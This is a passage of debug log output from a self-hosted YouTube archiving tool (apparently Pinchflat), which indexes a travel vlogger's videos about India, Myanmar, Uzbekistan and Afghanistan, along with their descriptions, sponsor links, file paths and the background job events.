"https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 18:59:50.169 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.169 [debug] QUERY OK source="media_items" db=0.2ms idle=6.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 18:59:50.170 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "d5156115-cf5a-4251-a600-03d43bf9e3b4", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 18:59:50.171 [debug] QUERY OK source="sources" db=0.2ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.171 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 18:59:50.172 [debug] QUERY OK source="media_items" db=0.6ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "bcbc6386-c60d-4b24-8540-d8657114ea12", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 18:59:50.173 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.173 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 18:59:50.174 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "cabbe273-9659-4986-8505-80ad3ef971c1", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 18:59:50.174 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.175 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 18:59:50.176 [debug] QUERY OK source="media_items" db=0.8ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "5de9a0b5-38c7-4649-9e44-1a4e4cb30ff2", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 18:59:50.176 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.177 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 18:59:50.178 [debug] QUERY OK source="media_items" db=0.6ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "7167ad6b-4398-4b3e-b216-3fe5680a4c80", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 18:59:50.178 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:50.179 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 18:59:50.180 [debug] QUERY OK source="media_items" db=0.8ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "7ebc74fd-7dc8-4d9d-a26d-805f2561cbb2", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 18:59:50.180 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z], 3] 18:59:50.181 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:59:50.181 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:59:50.182 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:59:50.183 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17078, 3, ~U[2026-08-20 01:59:50Z], ~U[2026-08-20 01:59:50Z]] 18:59:50.183 [info] {"args":{"id":3},"id":17075,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":33637859,"event":"job:stop","queue_time":750860,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:00:00.157 [info] {"source":"oban","duration":1215,"event":"plugin:stop","jobs":[17079],"plugin":"Oban.Plugins.Cron"} 19:00:00.164 [info] {"args":{},"id":17079,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1787191200164196875,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.166 [debug] QUERY OK source="media_items" db=2.3ms idle=382.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", 